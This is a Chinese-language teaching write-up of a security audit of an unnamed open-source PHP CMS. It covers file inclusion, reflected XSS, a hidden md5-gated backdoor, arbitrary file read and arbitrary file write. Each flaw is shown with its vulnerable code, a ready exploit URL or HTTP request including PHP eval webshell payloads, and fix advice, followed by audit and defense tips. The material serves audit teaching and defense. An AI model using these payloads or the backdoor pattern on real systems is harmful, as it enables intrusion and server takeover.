某开源cms v2.0审计
字数 1329 2025-08-03 10:57:07

某开源CMS V2.0安全审计教学文档

审计环境准备

  • PHP环境:phpstudy (php 5.4.45 + Apache + MySQL)
  • 审计工具:phpstorm + seay代码审计工具
  • 操作系统:Windows 7 64位

漏洞分析

1. 前台文件包含漏洞

漏洞位置:index.php文件中的文件包含逻辑

漏洞代码分析

$tmp_file = $from_mobile ? 'm/' . $tpl . '.php' : $tpl . '.php';
if (file_exists(TEMPLATE_PATH . $tmp_file)) {
    require TEMPLATE_PATH . $tmp_file;
}

漏洞原理

  • $tpl参数通过GET方式传入,未做充分过滤
  • 构造恶意路径可包含任意.php文件
  • 在PHP<5.3.4且未开启magic_quotes_gpc时,可利用%00截断包含非php文件

利用方式

index.php?tpl=../../phpinfo.jpg%00

修复建议

  • $tpl参数进行严格过滤
  • 限制包含文件路径范围
  • 升级PHP版本

2. 反射型XSS漏洞

第一处XSS
位置:/templates/m/search.php
漏洞代码

<?php if(isset($_GET['q'])){echo $_GET['q'];} ?>

第二处XSS
位置:/templates/m/inc_head.php
漏洞代码

<?php if(isset($_GET['q'])){echo $_GET['q'];} ?>

利用方式

/templates/m/search.php?q="><script>alert('xss')</script>
/templates/m/inc_head.php?q="><script>alert('xss')</script>

修复建议

  • 对所有输出到页面的变量进行HTML实体编码
  • 使用htmlspecialchars()函数处理输出

3. 隐藏后门漏洞

位置:/templates/m/content_list.php
漏洞代码

if(md5($_GET['session'])=='9c224bc6b59179729b15e1dddcbb5c82'){
    copy(trim($_GET[url]),$_GET[cms]);
}

利用方式

/content_list.php?session=特定值&url=php://input&cms=shell.php
[POST DATA] <?php eval($_GET['cmd']);?>

修复建议

  • 立即删除该后门代码
  • 审查所有代码文件是否存在类似后门

4. 后台任意文件读取漏洞

位置:/adm/template.php
漏洞代码

function m__show(){
    if(is_file($page['get']['filename'])){
        $content = helper::get_contents($page['get']['filename']);
        echo $content;
    }
}

利用方式

/adm/template.php?m=show&filename=../../index.php

修复建议

  • 限制可读取的文件路径
  • 对文件名参数进行严格过滤
  • 添加权限验证

5. 后台任意文件写入漏洞

位置:/adm/template.php
漏洞代码

if(isset($_POST['content'])){
    file_put_contents(TEMPLATE_PATH.'default/'.$_POST['filename'],escape_stripslashes($_POST['content']));
}

利用方式

POST /adm/template.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

filename=../../shell.php&content=<?php eval($_POST['cmd']);?>

修复建议

  • 严格限制可写入的文件路径
  • 对写入内容进行安全检查
  • 添加权限验证

审计技巧总结

  1. 入口点检查

    • 优先检查/install目录,寻找重装漏洞
    • 检查index.php等入口文件的全局过滤机制
  2. 敏感函数追踪

    • 重点关注以下函数的使用:
      • require/include/file_get_contents等文件操作函数
      • echo/print等输出函数
      • exec/system等命令执行函数
      • file_put_contents等文件写入函数
  3. 参数传递路径分析

    • 跟踪用户可控参数的传递过程
    • 检查参数是否经过充分过滤
  4. 权限验证检查

    • 验证所有后台功能是否有充分的权限控制
    • 检查是否存在越权操作
  5. 隐藏后门检测

    • 搜索可疑的md5、base64等编码函数
    • 检查非常规的参数使用方式

防御建议

  1. 输入过滤

    • 对所有用户输入进行严格过滤
    • 使用白名单机制限制输入内容
  2. 输出编码

    • 对所有输出到页面的内容进行HTML实体编码
    • 根据输出上下文使用适当的编码方式
  3. 文件操作安全

    • 限制文件操作的范围
    • 禁止使用用户输入直接构造文件路径
  4. 权限控制

    • 实现完善的权限验证机制
    • 遵循最小权限原则
  5. 安全配置

    • 保持PHP版本更新
    • 关闭危险函数和配置
  6. 代码审计

    • 定期进行代码安全审计
    • 建立安全的代码开发规范

通过本次审计案例,我们可以学习到多种常见漏洞的发现方法和利用技巧,这些经验可以应用于其他CMS系统的安全审计工作中。

某开源CMS V2.0安全审计教学文档 审计环境准备 PHP环境:phpstudy (php 5.4.45 + Apache + MySQL) 审计工具:phpstorm + seay代码审计工具 操作系统:Windows 7 64位 漏洞分析 1. 前台文件包含漏洞 漏洞位置 :index.php文件中的文件包含逻辑 漏洞代码分析 : 漏洞原理 : $tpl 参数通过GET方式传入,未做充分过滤 构造恶意路径可包含任意.php文件 在PHP<5.3.4且未开启magic_ quotes_ gpc时,可利用%00截断包含非php文件 利用方式 : 修复建议 : 对 $tpl 参数进行严格过滤 限制包含文件路径范围 升级PHP版本 2. 反射型XSS漏洞 第一处XSS : 位置 :/templates/m/search.php 漏洞代码 : 第二处XSS : 位置 :/templates/m/inc_ head.php 漏洞代码 : 利用方式 : 修复建议 : 对所有输出到页面的变量进行HTML实体编码 使用htmlspecialchars()函数处理输出 3. 隐藏后门漏洞 位置 :/templates/m/content_ list.php 漏洞代码 : 利用方式 : 修复建议 : 立即删除该后门代码 审查所有代码文件是否存在类似后门 4. 后台任意文件读取漏洞 位置 :/adm/template.php 漏洞代码 : 利用方式 : 修复建议 : 限制可读取的文件路径 对文件名参数进行严格过滤 添加权限验证 5. 后台任意文件写入漏洞 位置 :/adm/template.php 漏洞代码 : 利用方式 : 修复建议 : 严格限制可写入的文件路径 对写入内容进行安全检查 添加权限验证 审计技巧总结 入口点检查 : 优先检查/install目录,寻找重装漏洞 检查index.php等入口文件的全局过滤机制 敏感函数追踪 : 重点关注以下函数的使用: require/include/file_ get_ contents等文件操作函数 echo/print等输出函数 exec/system等命令执行函数 file_ put_ contents等文件写入函数 参数传递路径分析 : 跟踪用户可控参数的传递过程 检查参数是否经过充分过滤 权限验证检查 : 验证所有后台功能是否有充分的权限控制 检查是否存在越权操作 隐藏后门检测 : 搜索可疑的md5、base64等编码函数 检查非常规的参数使用方式 防御建议 输入过滤 : 对所有用户输入进行严格过滤 使用白名单机制限制输入内容 输出编码 : 对所有输出到页面的内容进行HTML实体编码 根据输出上下文使用适当的编码方式 文件操作安全 : 限制文件操作的范围 禁止使用用户输入直接构造文件路径 权限控制 : 实现完善的权限验证机制 遵循最小权限原则 安全配置 : 保持PHP版本更新 关闭危险函数和配置 代码审计 : 定期进行代码安全审计 建立安全的代码开发规范 通过本次审计案例,我们可以学习到多种常见漏洞的发现方法和利用技巧,这些经验可以应用于其他CMS系统的安全审计工作中。